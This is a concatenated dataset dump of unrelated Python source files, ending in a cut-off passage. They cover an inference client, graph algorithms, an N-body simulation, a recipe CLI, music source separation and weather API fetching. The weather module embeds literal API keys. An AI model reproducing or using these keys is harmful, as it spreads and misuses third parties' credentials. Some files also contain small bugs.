PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n# OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nimport argparse\nimport numpy as np\nimport sys\nimport random\n\nimport tritongrpcclient\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-v',\n '--verbose',\n action=\"store_true\",\n required=False,\n default=False,\n help='Enable verbose output')\n parser.add_argument('-m',\n '--model_name',\n type=str,\n required=True,\n help='Model name')\n parser.add_argument('-u',\n '--url',\n type=str,\n required=False,\n default='localhost:8001',\n help='Inference server URL. Default is localhost:8001.')\n\n FLAGS = parser.parse_args()\n try:\n triton_client = tritongrpcclient.InferenceServerClient(url=FLAGS.url,\n verbose=FLAGS.verbose)\n except Exception as e:\n print(\"channel creation failed: \" + str(e))\n sys.exit()\n\n model_name = FLAGS.model_name \n\n mconf = triton_client.get_model_config(model_name, as_json=True)\n print('config:\\n', mconf)\n \n for i in range(50):\n # Infer\n inputs = []\n outputs = []\n \n nnodes = random.randint(100, 4000)\n nedges = random.randint(8000, 15000)\n\n inputs.append(tritongrpcclient.InferInput('x__0', [nnodes, 1433], 'FP32'))\n inputs.append(tritongrpcclient.InferInput('edgeindex__1', [2, nedges], \"INT64\"))\n\n x = np.random.normal(-10, 4, (nnodes, 1433)).astype(np.float32)\n x[x < 0] = 0.\n x[x > 1] = 1.\n edge_index = np.random.randint(0, nnodes, (2, nedges), dtype=np.int64)\n \n print(x.shape)\n print(edge_index.shape)\n\n # prepare inputs\n inputs[0].set_data_from_numpy(x)\n inputs[1].set_data_from_numpy(edge_index)\n\n # prepare outputs\n outputs.append(tritongrpcclient.InferRequestedOutput('logits__0'))\n\n # get the output\n results = triton_client.infer(model_name=model_name,\n inputs=inputs,\n outputs=outputs)\n output0_data = results.as_numpy('logits__0')\n print(output0_data)\n\n statistics = triton_client.get_inference_statistics(model_name=model_name)\n print(statistics)\n if len(statistics.model_stats) != 1:\n print(\"FAILED: Inference Statistics\")\n sys.exit(1)\n\n print('PASS: infer')\n","sub_path":"client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"116246617","text":"import os\nimport sys\nimport random\n\nfrom not_directed_graph import NotDirectedGraph\nfrom graph_builder import buildGraphFromFile\nfrom breath_first_search import breadthFirstSearch\nfrom eulerian_cycle import getEulerianTour\nfrom dijkstra import dijkstra\nfrom floyd_warshall import floydWarshall\nfrom topological_sorting import topologialSort\nfrom minimum_spanning_tree import minimumSpanningTree\n\n# on the first call to this function you must be SURE that \"path\" exists in the actual os.listdir()\nfrom strongly_connected_components import stronglyConnectedComponentes\n\n\ndef buildEachInstance(path: str) -> 'dict of Graphs':\n\tgraphs = dict()\n\n\t# go into folder\n\tos.chdir(path)\n\n\tfor item in os.listdir():\n\t\tif os.path.isdir(item):\n\t\t\tgraphs.update(buildEachInstance(item))\n\t\telse: \n\t\t\tgraphs[item] = buildGraphFromFile(item)\n\n\t# return to the initial folder\n\tos.chdir(\"..\")\n\n\treturn graphs\n\n# run all implemented algorithms on some graph\ndef test_graph(path: str, graph: NotDirectedGraph) -> None:\n\tprint('\\nTest Results for Graph in ' + path + ':\\n')\n\n\trand_vertex_id = random.choice(list(graph.vertices.keys()))\n\trand_vertex_name = graph.getVertexLabel(rand_vertex_id)\n\trand_vertex_neighbors = graph.getVertexNeighbors(rand_vertex_id)\n\trand_vertex_rand_neighbor = random.choice(list(rand_vertex_neighbors))\n\tother_rand_vertex_id0 = random.choice(list(graph.vertices.keys()))\n\tother_rand_vertex_id1 = random.choice(list(graph.vertices.keys()))\n\n\tprint('Number of vertices = ' + str(graph.getNumberOfVertices()))\n\tprint('Number of edges = ' + str(graph.getNumberOfEdges()))\n\tprint('Vertex ' + rand_vertex_id + ' degree = ' + str(graph.getVertexDegree(rand_vertex_id)))\n\tprint('Vertex ' + rand_vertex_id + ' name = ' + rand_vertex_name)\n\tprint('Vertex ' + rand_vertex_id + ' neighbors = ' + str(rand_vertex_neighbors))\n\tprint('Vertex ' + rand_vertex_id + ' has edge with ' + rand_vertex_rand_neighbor + ' = ' + str(graph.hasEdge(rand_vertex_id, rand_vertex_rand_neighbor)))\n\tprint('Vertex ' + rand_vertex_id + ' has edge with ' + other_rand_vertex_id0 + ' = ' + str(graph.hasEdge(rand_vertex_id, other_rand_vertex_id0)))\n\tprint('Vertex ' + rand_vertex_id + ' has edge with ' + other_rand_vertex_id1 + ' = ' + str(graph.hasEdge(rand_vertex_id, other_rand_vertex_id1)))\n\tprint('Edge ' + rand_vertex_id + ' <-> ' + rand_vertex_rand_neighbor + ' weight(s) = ' + str(graph.weight(rand_vertex_id, rand_vertex_rand_neighbor)))\n\ndef main():\n\tmaybePath = sys.argv[len(sys.argv)-1]\n\n\tif maybePath == \"testAll\":\n\t\tgraphs = buildEachInstance(\"instances\")\n\n\t\tfor graph in graphs:\n\t\t\tif len(graphs[graph].vertices) == 0:\n\t\t\t\tprint(\"Graph in \" + graph + ' has a problem')\n\t\t\t\treturn\n\n\t\tprint(\"Nothing wrong with the inputs.\\n\")\n\telse:\n\t\t# atividade1()\n\t\tatividade2()\n\ndef atividade1():\n\t# Exercicio 1:\n\tprint('Exercicio 1 (Funções De Grafos):')\n\tgraph_path = \"./instances/caminho_minimo/fln_pequena.net\"\n\tgraph = buildGraphFromFile(graph_path)\n\ttest_graph(graph_path, graph)\n\n\t# Exercicio 2:\n\tprint('\\nExercicio 2 (Busca em largura):\\n')\n\tprint(breadthFirstSearch(graph, '1')[0])\n\n\t# Exercicio 3:\n\tprint('\\nExercicio 3 (Ciclo Euleriano):\\n')\n\tgraph_path = \"./instances/ciclo_euleriano/ContemCicloEuleriano.net\"\n\tgraph = buildGraphFromFile(graph_path)\n\tprint(getEulerianTour(graph))\n\n\t# Exercicio 4:\n\tprint('\\nExercicio 4 (Dijkstra):\\n')\n\tgraph_path = \"./instances/caminho_minimo/fln_pequena.net\"\n\tgraph = buildGraphFromFile(graph_path)\n\tprint(dijkstra(graph, '1', True))\n\n\t# Exercicio 5:\n\tprint('\\nExercicio 5 (Floyd-Warshall):\\n')\n\tgraph_path = \"./instances/caminho_minimo/fln_pequena.net\"\n\tgraph = buildGraphFromFile(graph_path)\n\tprint(floydWarshall(graph))\n\ndef atividade2():\n\t# Exercicio 1:\n\tprint('Exercicio 1 (Componentes Fortemente Conexas)')\n\tgraph_path = \"./instances/dirigidos/dirigido2.net\"\n\tgraph = buildGraphFromFile(graph_path, is_directed=True)\n\tprint(stronglyConnectedComponentes(graph))\n\n\t# Exercicio 2:\n\tprint('Exercicio 2 (Ordenação Topológica)')\n\tgraph_path = \"./instances/dirigidos/manha.net\"\n\tgraph = buildGraphFromFile(graph_path, is_directed=True)\n\tprint(topologialSort(graph))\n\n\t# Exercicio 2:\n\tprint('Exercicio 3 (Arvore geradora minima - Prim)')\n\tgraph_path = \"./instances/arvore_geradora_minima/agm_tiny.net\"\n\tgraph = buildGraphFromFile(graph_path, is_directed=True)\n\tprint(minimumSpanningTree(graph))\n\nif __name__ == \"__main__\":\n\tmain()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"472219612","text":"import itertools\n\nimport numpy as np\n\nimport nbody.io\nimport nbody.mass\nfrom nbody import scale\n\n\nclass NBody:\n def __init__(self, data, n_bodies, virial_radius, total_mass, time=0.0):\n self._data = data\n self._n_bodies = n_bodies\n self._virial_radius = virial_radius\n self._total_mass = total_mass\n self._time = time\n\n def init_energy(self):\n # set scaling stuff\n T = self.kinetic_energy()\n V = self.potential_energy()\n \n for b in self._data:\n b.vel *= np.sqrt(abs(V) / T / 2)\n for b in self._data:\n beta = 0.5 * V / -0.25\n #b.pos *= 0.82*beta # scaling added to equalise energies\n b.pos *= beta # scaling added to equalise energies\n b.vel /= np.sqrt(beta)\n\n\n @property\n def data(self):\n return self._data\n @property\n def n_bodies(self):\n return self._n_bodies\n @property\n def virial_radius(self):\n return self._virial_radius\n @property\n def total_mass(self):\n return self._total_mass\n\n @property\n def time(self):\n return self._time\n\n def scale_distance(self, distance):\n return distance * self.virial_radius\n\n def scale_energy(self, energy):\n return energy * self.scale_mass(1) * self.scale_velocity(1)**2\n\n def scale_mass(self, mass):\n return mass * self.total_mass\n\n def scale_time(self, time):\n return time * 14.94 * np.sqrt(self.virial_radius**3 / self.n_bodies \n / self.total_mass)\n \n def scale_velocity(self, velocity):\n return velocity * 6.557e-2 * np.sqrt(self.n_bodies * self.total_mass \n / self.virial_radius)\n \n\n def crossing_time(self):\n return nbody.time.crossing()\n\n def half_mass_relaxation_time(self):\n n = len(self._data)\n hmr = self.half_mass_radius()\n return nbody.time.half_mass_relaxation(n, hmr)\n\n def core_collapse_time(self):\n hmr = self.half_mass_radius()\n return nbody.time.core_collapse(len(self._data), hmr)\n def core_radius(self):\n if not hasattr(self, \"_cached_core_radius\"):\n core_radius = 0\n\n densities = self._get_densities()\n density_center = self.density_center()\n \n for i, star in enumerate(self._data):\n central_distance = star.pos - density_center\n core_radius += densities[i] * np.linalg.norm(central_distance)\n core_radius /= np.sum(densities)\n\n self._cached_core_radius = core_radius\n return self._cached_core_radius\n\n def density_center(self):\n ds = self._get_densities()\n\n dc = np.zeros(3)\n for i, b in enumerate(self._data):\n dc += ds[i] * b.pos\n\n return dc / np.sum(ds)\n\n def mass_radius(self, factor):\n half_mass_radius = 0\n\n distances = []\n density_center = self.density_center()\n for star in self._data:\n distance = np.linalg.norm(star.pos-density_center)\n distances.append((star.mass, distance))\n sorted_distances = sorted(distances, key=lambda x: x[1])\n\n total_mass = np.sum([star.mass for star in self._data])\n contained_mass = 0\n iterator = iter(sorted_distances)\n while contained_mass < total_mass * factor:\n mass, distance = next(iterator)\n contained_mass += mass\n half_mass_radius = distance\n\n return half_mass_radius\n\n def half_mass_radius(self):\n return self.mass_radius(0.5)\n\n def kinetic_energy(self):\n e = 0.0\n for b in self._data:\n e += 1/2 * b.mass * np.linalg.norm(b.vel)**2\n return e\n\n def potential_energy(self, soft=True):\n e = 0.0\n for b1, b2 in itertools.combinations(self._data, 2):\n r = np.linalg.norm(b1.pos - b2.pos)\n e -= b1.mass * b2.mass / r\n return e\n\n def total_energy(self):\n return self.kinetic_energy() + self.potential_energy()\n\n\n @classmethod\n def from_file(cls, filename):\n data = nbody.io.read(filename)\n return cls(*data)\n\n @classmethod\n def from_plummer(cls, n_bodies, total_mass, virial_radius, mass_fn=nbody.mass.ktg):\n ms = mass_fn(n_bodies)\n rs, vs = nbody.dist.plummer(n_bodies)\n\n data = []\n for m, r, v in zip(ms, rs, vs):\n b = nbody.its.Body(m, r, v)\n data.append(b)\n nbody.its.init(data)\n\n return cls(data, n_bodies, virial_radius, total_mass)\n\n @classmethod\n def from_uniform(cls, n_bodies, total_mass, virial_radius, mass_fn=nbody.mass.ktg):\n ms = mass_fn(n_bodies)\n rs, vs = nbody.dist.uniform(n_bodies)\n\n data = []\n for m, r, v in zip(ms, rs, vs):\n b = nbody.its.Body(m, r, v)\n data.append(b)\n nbody.its.init(data)\n\n return cls(data, n_bodies, virial_radius, total_mass)\n\n def _get_densities(self):\n densities = np.empty( len(self._data) )\n\n ds = self._get_distances()\n sorted_distances = np.sort(ds, axis=1)\n\n for i, b in enumerate(self._data):\n density = 3 / (4 * np.pi)\n density *= 3.5 * b.mass\n density /= sorted_distances[i, 2]\n\n densities[i] = density\n return densities\n\n def _get_distances(self):\n distances = np.empty((len(self._data), len(self._data)))\n\n iterator = itertools.combinations(enumerate(self._data), 2)\n for (i, star1), (j, star2) in iterator:\n distance = np.linalg.norm(star1.pos - star2.pos)\n\n distances[i, j] = distance\n distances[j, i] = distance\n return distances\n","sub_path":"nbody/nbody.py","file_name":"nbody.py","file_ext":"py","file_size_in_byte":5727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"458124395","text":"from sys import argv\nimport sys\n\nsand_ingd = list(('ham', 'cheese', 'tomatoes'))\ncake_ingd = list(('flour', 'sugar', 'eggs'))\nsalad_ingd = list(('avocado', 'arugula', 'tomatoes', 'spinach'))\ns_dict = dict(ingredients=sand_ingd, meal='lunch', prep_time=10)\nc_dict = dict(ingredients=cake_ingd, meal='desert', prep_time=60)\ns_dict = dict(ingredients=salad_ingd, meal='lunch', prep_time=15)\ncookbook = dict(sandwich=s_dict, cake=c_dict, salad=s_dict)\n\n\ndef print_recipe(recipe_name):\n recipe_data = cookbook.get(recipe_name)\n print(f\"\"\"\\nRecipe for {recipe_name}:\nIngredients list: {recipe_data.get('ingredients')}\nTo be eaten for {recipe_data.get('meal')}\nTakes {recipe_data.get('prep_time')} of cooking.\"\"\")\n\n\ndef delete_recipe(recipe_name):\n del cookbook[recipe_name]\n\n\ndef add_recipe():\n print('Let\\'s add a new recipe!')\n print('Enter a name')\n new_name = str(input())\n print('Enter the ingredients (separate each one by a space)')\n raw_ing = str(input())\n new_ing = raw_ing.split(' ')\n print('Enter the meal type')\n new_meal = str(input())\n print('Enter the number of minutes needed (ex: 15)')\n new_time = str(input())\n new_rec = dict(ingredients=new_ing, meal=new_meal, prep_time=new_time)\n final_rec = {f\"{new_name}\": new_rec}\n print(final_rec)\n cookbook[f\"{new_name}\"] = new_rec\n print(f'{new_name} has successfuly been added to your cookbook!')\n\n\ndef print_all_recipes():\n output = \"\\nHere are all the recipes of your cookbook: \"\n len_book = len(cookbook)\n i = 0\n for n in cookbook:\n if i < len_book-1:\n cond = True\n else:\n cond = False\n liaison = ('.', ',')[cond]\n output += str(n) + liaison\n i += 1\n print(output)\n\n\nusage = \"\"\"Please select an option by typing one of the following numbers:\n1. Print a recipe\n2. Delete a recipe\n3. Add a recipe\n4. Print all recipes\n5. Quit\n \"\"\"\nprint(usage)\nwhile True:\n try:\n response = int(input())\n if response == 5:\n print('Cookbook closed.')\n sys.exit()\n if response == 4:\n print_all_recipes()\n continue\n if response == 3:\n add_recipe()\n continue\n if response == 1:\n print_all_recipes()\n print('Please chose one by writting it\\'s name')\n resp = input()\n # check if recipe exists in dict\n if cookbook.get(resp) is None:\n print('Sorry, this recipe is not in this cookbook.')\n print_all_recipes()\n continue\n else:\n print_recipe(resp)\n continue\n if response == 2:\n print_all_recipes()\n print(\"\"\"\n Please choose the one you wish to delete by writting it\\'s name\"\"\")\n resp = input()\n # check if recipe exixts in dict\n if cookbook.get(resp) is None:\n print('Sorry, this recipe is not in this cookbook.')\n print_all_recipes()\n continue\n else:\n del cookbook[resp]\n print(f'{resp} has been deleted.')\n continue\n else:\n print('This option does not exist.')\n print(usage)\n continue\n except SystemExit:\n sys.exit()\n except ValueError:\n print('This option does not exist.')\n print(usage)\n","sub_path":"ex06/recipe.py","file_name":"recipe.py","file_ext":"py","file_size_in_byte":3436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"501629437","text":"import sys\nfrom pprint import pprint\nimport numpy as np\nimport re\nimport csv\nimport time\n\nclass Layers:\n def __init__(self):\n self.layertypes = []\n self.weights = []\n self.biases = []\n self.numlayer = 0\n self.ffn_counter = 0\n\ndef parse_bias(text):\n if len(text) < 1 or text[0] != '[':\n raise Exception(\"expected '['\")\n if text[-1] != ']':\n raise Exception(\"expected ']'\")\n v = np.array([*map(lambda x: np.double(x.strip()), text[1:-1].split(','))])\n #return v.reshape((v.size,1))\n return v\n\ndef parse_vector(text):\n if len(text) < 1 or text[0] != '[':\n raise Exception(\"expected '['\")\n if text[-1] != ']':\n raise Exception(\"expected ']'\")\n v = np.array([*map(lambda x: np.double(x.strip()), text[1:-1].split(','))])\n return v.reshape((v.size,1))\n #return v\n\ndef balanced_split(text):\n i = 0\n bal = 0\n start = 0\n result = []\n while i < len(text):\n if text[i] == '[':\n bal += 1\n elif text[i] == ']':\n bal -= 1\n elif text[i] == ',' and bal == 0:\n result.append(text[start:i])\n start = i+1\n i += 1\n if start < i:\n result.append(text[start:i])\n return result\n\ndef parse_matrix(text):\n i = 0\n if len(text) < 1 or text[0] != '[':\n raise Exception(\"expected '['\")\n if text[-1] != ']':\n raise Exception(\"expected ']'\")\n return np.array([*map(lambda x: parse_vector(x.strip()).flatten(), balanced_split(text[1:-1]))])\n\ndef parse_net(text):\n lines = [*filter(lambda x: len(x) != 0, text.split('\\n'))]\n i = 0\n res = Layers()\n while i < len(lines):\n if lines[i] in ['ReLU', 'Affine']:\n W = parse_matrix(lines[i+1])\n b = parse_bias(lines[i+2])\n res.layertypes.append(lines[i])\n res.weights.append(W)\n res.biases.append(b)\n res.numlayer+= 1\n i += 3\n else:\n raise Exception('parse error: '+lines[i])\n return res\n \ndef parse_spec(text):\n text = text.replace(\"[\", \"\")\n text = text.replace(\"]\", \"\")\n with open('dummy', 'w') as my_file:\n my_file.write(text)\n data = np.genfromtxt('dummy', delimiter=',',dtype=np.double)\n low = np.copy(data[:,0])\n high = np.copy(data[:,1])\n return low,high\n\ndef get_perturbed_image(x, epsilon):\n image = x[1:len(x)]\n num_pixels = len(image)\n LB_N0 = image - epsilon\n UB_N0 = image + epsilon\n \n for i in range(num_pixels):\n if(LB_N0[i] < 0):\n LB_N0[i] = 0\n if(UB_N0[i] > 1):\n UB_N0[i] = 1\n return LB_N0, UB_N0\n","sub_path":"src/helper_functions.py","file_name":"helper_functions.py","file_ext":"py","file_size_in_byte":2649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"585047210","text":"#!/usr/bin/env python\n\nimport os\nimport argparse\nimport ConfigParser\n\nconfigfile = None\nlogfile = None\nis_daemon = False\nbe_verbose = False\n\ndef parse_args() :\n \n global configfile, logfile, is_daemon, be_verbose\n ap = argparse.ArgumentParser(description=\"Collector and correlator of Netflow v5, v9 and IPFIX flows and Syslog messages\")\n ap.add_argument('-c', metavar='configfile', default='/usr/local/etc/collectord.conf', help=\"collectors' config file\")\n ap.add_argument('-l', metavar='logfile', default='/var/log/collectord.log', help='log file for collector own messages')\n ap.add_argument('-d', action='store_true', help='start as daemon')\n ap.add_argument('-v', action='store_true', help='verbose debug messages')\n args = ap.parse_args()\n\n configfile = args.c\n logfile = args.l\n is_daemon = args.d\n be_verbose = args.v\n return args\n\ndef parse_config(filename) :\n if not os.path.isfile(filename):\n print(\"File {0} not found\".format(filename))\n quit()\n\n cf = ConfigParser.SafeConfigParser()\n cf.read(filename)\n res = {}\n res['sections'] = cf.sections()\n for sect in res['sections'] :\n opts = {}\n for opt in ['address', 'port', 'type'] :\n opts[opt] = cf.get(sect, opt)\n res[sect] = opts\n return res\n\ndef print_args_config(config) :\n\n print(\"Running the following config:\")\n print(\" logfile name: {0}\".format(logfile))\n print(\" config file name: {0}\".format(configfile))\n print(\" is daemon: {0}\".format(is_daemon))\n print(\" be verbose: {0}\".format(be_verbose))\n print('Config file is:')\n for s in config['sections']:\n print(\"Section {0}:\".format(s))\n print(\" Collector type: {0}\".format(config[s]['type']))\n print(\" Listening on : {0}:{1}\".format(config[s]['address'], config[s]['port']))\n\nif __name__ == \"__main__\":\n parse_args()\n c = parse_config(configfile)\n if c == None :\n print('Error parsing config file')\n else :\n print_args_config(c)\n \n","sub_path":"collector_config.py","file_name":"collector_config.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"513694211","text":"# %load q04_plot_runs_by_balls/build.py\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nipl_df = pd.read_csv('data/ipl_dataset.csv', index_col=None)\n\n\n# Solution\ndef plot_runs_by_balls():\n runs = ipl_df.groupby(['match_code','batsman'])['runs'].sum()\n balls = ipl_df.groupby(['match_code','batsman'])['delivery'].count()\n plt.scatter(runs,balls)\n plt.show()\nplot_runs_by_balls() \n\n\n","sub_path":"q04_plot_runs_by_balls/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"374170183","text":"import soundfile as sf\nimport torch\nimport numpy as np\nfrom evaluator.music_demixing import MusicDemixingPredictor\nfrom demucs.model import Demucs\nfrom demucs.utils import apply_model\nfrom models import get_models, Mixer\nimport torchaudio\nfrom openunmix import data, predict\nimport onnxruntime as ort\nfrom time import time, sleep\n\ndevice = torch.device('cpu')\n\nclass Predictor(MusicDemixingPredictor):\n\n def prediction_setup(self):\n self.models = get_models(model_name, load=False, device=device)\n self.demucs = Demucs(sources=[\"drums\", \"bass\", \"other\", \"vocals\"], channels=48 if '48' in demucs_name else 64)\n self.demucs.load_state_dict(torch.load(f'model/{demucs_name}.ckpt'))\n self.mixer = Mixer(device)\n self.mixer.eval()\n\n def prediction(self, mixture_file_path, bass_file_path, drums_file_path, other_file_path, vocals_file_path):\n file_paths = [bass_file_path, drums_file_path, other_file_path, vocals_file_path]\n sources = self.demix(mixture_file_path)\n for i in range(len(sources)):\n sf.write(file_paths[i], sources[i].T, samplerate=44100)\n\n def demix(self, mix_path):\n start_time = time()\n mix = sf.read(mix_path)[0].T\n base_out = self.demix_base(mix)\n print(time() - start_time)\n demucs_out = self.demix_demucs(mix)\n print(time() - start_time)\n\n sources = base_out * b + demucs_out * (1 - b)\n return sources\n\n def demix_base(self, mix):\n sources = []\n n_sample = mix.shape[1]\n for model in self.models:\n trim = model.n_fft // 2\n gen_size = model.chunk_size - 2 * trim\n pad = gen_size - n_sample % gen_size\n mix_p = np.concatenate((np.zeros((2, trim)), mix, np.zeros((2, pad)), np.zeros((2, trim))), 1)\n\n mix_waves = []\n i = 0\n while i < n_sample + pad:\n waves = np.array(mix_p[:, i:i + model.chunk_size])\n mix_waves.append(waves)\n i += gen_size\n mix_waves = torch.tensor(mix_waves, dtype=torch.float32)\n\n with torch.no_grad():\n _ort = ort.InferenceSession(f'{onnx_name}/{model.target_name}.onnx')\n tar_waves = model.istft(torch.tensor(\n _ort.run(None, {'input': model.stft(mix_waves).numpy()})[0]\n ))\n tar_signal = tar_waves[:, :, trim:-trim].transpose(0, 1).reshape(2, -1).numpy()[:, :-pad]\n sources.append(tar_signal)\n\n with torch.no_grad():\n mix = torch.tensor(mix, dtype=torch.float32)\n sources = torch.tensor(sources).detach()\n x = torch.cat([sources, mix.unsqueeze(0)], 0)\n sources = self.mixer(x)\n\n return np.array(sources)\n\n def demix_demucs(self, mix):\n mix = torch.tensor(mix, dtype=torch.float32)\n mean, std = mix.mean(), mix.std()\n mix = (mix - mean) / std\n\n with torch.no_grad():\n sources = apply_model(self.demucs, mix, split=True, overlap=0.5)\n\n sources = (sources * std + mean).cpu().numpy()\n sources[[0, 1]] = sources[[1, 0]]\n return sources\n\n\nmodel_name = 'tdf+val'\ndemucs_name = 'demucs'\nonnx_name = 'onnx'\n\nb = np.array([[[0.5]], [[0.5]], [[0.7]], [[0.9]]])\n\nsubmission = Predictor()\nsubmission.run()\nprint(\"Successfully completed music demixing...\")\n","sub_path":"predict_blend.py","file_name":"predict_blend.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"644711720","text":"import urllib.request\nimport xmltodict\nimport json\nimport sys\nfrom urllib.request import urlopen\nfrom urllib.parse import urlencode, unquote, quote_plus\nimport urllib\nimport pandas as pd\nimport numpy as np\nimport requests\nfrom datetime import datetime, timedelta\n\n\nurl = 'http://apis.data.go.kr/1360000/AsosDalyInfoService/getWthrDataList'\nkey = \"6vFwBIO5ZKEEPDpVKwkmfssrPdCMNtDdPSff4szG9k4lVLL9qkYIfTxhw6gEggcK9CA6dCD8GsrCDXe%2FU1zKYQ%3D%3D\"\n\n\ndef weather_api(startdt):\n\n startdt = datetime.strptime(startdt, \"%Y-%m-%d\")\n\n addtime = timedelta(days=6)\n enddt = startdt + addtime\n\n startdt = startdt.strftime('%Y-%m-%d')\n enddt = enddt.strftime('%Y-%m-%d')\n\n startdt = int(startdt.replace('-', ''))\n enddt = int(enddt.replace('-', ''))\n\n startdt = str(startdt)\n enddt = str(enddt)\n\n print('step1 finished -------')\n queryParams_page1 = '?' + urlencode({\n\n \"ServiceKey\": unquote(key),\n \"dataCd\": \"ASOS\",\n \"dateCd\": \"DAY\",\n \"numOfRows\": \"600\",\n \"pageNo\": \"1\",\n \"startDt\": startdt,\n \"endDt\": enddt,\n \"stnIds\": \"159\",\n \"dataType\": \"JSON\"\n\n })\n\n queryURL_page1 = url + queryParams_page1\n response_page1 = requests.get(queryURL_page1)\n info_page1 = json.loads(response_page1.text)\n\n a = []\n for i in range(len(info_page1['response']['body']['items']['item'])):\n\n df = pd.DataFrame(info_page1['response']\n ['body']['items']['item'][i], index=[0])\n\n a.append(df)\n\n print('step2 finished -------')\n\n weather_api_1 = pd.concat(a)\n\n weather_api_1 = weather_api_1[['tm', 'avgTa', 'avgRhm', 'avgPa', 'sumRn']]\n weather_api_1 = weather_api_1.rename({'tm': 'date', 'avgTa': 'mean_temp',\n 'avgRhm': 'mean_humidity', 'avgPa': 'mean_pressure', 'sumRn': 'rain'}, axis=1)\n weather_api_1 = weather_api_1.reset_index(drop=True)\n weather_api_1 = weather_api_1.replace(r'', np.nan, regex=True)\n weather_api_1 = weather_api_1.fillna(0)\n weather_api_1 = weather_api_1.astype({'mean_temp': 'float', 'mean_humidity': 'float',\n 'mean_pressure': 'float', 'rain': 'float'})\n print('step3 finished -------')\n\n return weather_api_1\n\n\ndef utc_to_date(utc):\n date = datetime.utcfromtimestamp(utc).strftime('%Y-%m-%d')\n\n return date\n\n\ndef future7_weather_api():\n\n url = 'https://api.openweathermap.org/data/2.5/onecall'\n key = \"9688b3e45c54541ccc6c099da90380ab\"\n\n queryParams_page1 = '?' + urlencode({\n\n \"lat\": 35.1028,\n \"lon\": 129.0403,\n \"appid\": unquote(key),\n \"exclude\": \"hourly,minutely,current,alerts\",\n \"units\": \"metric\"\n\n })\n\n queryURL_page1 = url + queryParams_page1\n response_page1 = requests.get(queryURL_page1)\n info_page1 = json.loads(response_page1.text)\n\n a = []\n for i in range(len(info_page1['daily'])):\n\n utc_num = info_page1['daily'][i]['dt']\n\n if 'rain' in list(info_page1['daily'][i].keys()):\n\n dict = {\"date\": utc_to_date(utc_num), 'mean_temp': info_page1['daily'][i]['temp']['day'],\n 'mean_humidity': info_page1['daily'][i]['humidity'],\n 'mean_pressure': info_page1['daily'][i]['pressure'],\n 'rain': info_page1['daily'][i]['rain']}\n\n else:\n\n dict = {\"date\": utc_to_date(utc_num), 'mean_temp': info_page1['daily'][i]['temp']['day'],\n 'mean_humidity': info_page1['daily'][i]['humidity'],\n 'mean_pressure': info_page1['daily'][i]['pressure'],\n 'rain': 0}\n\n predict = pd.DataFrame(dict, index=[0])\n\n a.append(predict)\n\n weather_pre = pd.concat(a).reset_index(drop=True)\n\n return weather_pre\n","sub_path":"back_end/weather2.py","file_name":"weather2.py","file_ext":"py","file_size_in_byte":3782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"77194471","text":"from datetime import datetime as dt\nfrom datetime import date, timedelta\nfrom datetime import datetime\nimport plotly.graph_objs as go\nfrom plotly import tools\nimport numpy as np\nimport pandas as pd\n\npd.options.mode.chained_assignment = None\n\ndf = pd.read_csv(\"data/performance_analytics_cost_and_ga_metrics.csv\")\ndf[\"Date\"] = pd.to_datetime(df[\"Date\"])\n\nnow = datetime.now()\ndatestamp = now.strftime(\"%Y%m%d\")\n\n\n# Data Table Update Function\ndef update_datatable(start_date, end_date):\n return df[(start_date <= df[\"Date\"]) & (df[\"Date\"] <= end_date)].to_dict(\"rows\")\n\n\n# Data Table Download Function\ndef update_download(start_date, end_date):\n return df[(start_date <= df[\"Date\"]) & (df[\"Date\"] <= end_date)]\n\n\n######################## FOR GRAPHS ########################\n\n\ndef update_graph(filtered_df, end_date):\n # Sessions Graphs\n sessions_scatter = go.Scatter(\n x=filtered_df[\"Travel Product\"], y=filtered_df[\"Sessions - This Year\"], text=\"Sessions - This Year\"\n )\n sessions_bar = go.Bar(\n x=filtered_df[\"Travel Product\"], y=filtered_df[\"Sessions - This Year\"], text=\"Sessions - This Year\", opacity=0.6\n )\n\n fig = tools.make_subplots(\n rows=2,\n cols=1,\n shared_xaxes=True,\n subplot_titles=(\"Line Chart\", \"Bar Chart\"), # Be sure to have same number of titles as number of graphs\n )\n\n fig.append_trace(sessions_scatter, 1, 1) # 0\n fig.append_trace(sessions_bar, 2, 1) # 1\n\n # integer index below is the index of the trace\n # yaxis indices below need to start from the number of total graphs + 1 since they are on right-side\n # overlaing and anchor axes correspond to the graph number\n\n fig[\"layout\"][\"xaxis\"].update(title=\"Travel Product\")\n for i in fig[\"layout\"][\"annotations\"]:\n i[\"font\"] = dict(\n size=12,\n # color='#ff0000'\n )\n fig[\"layout\"].update(\n height=500,\n # width=750,\n 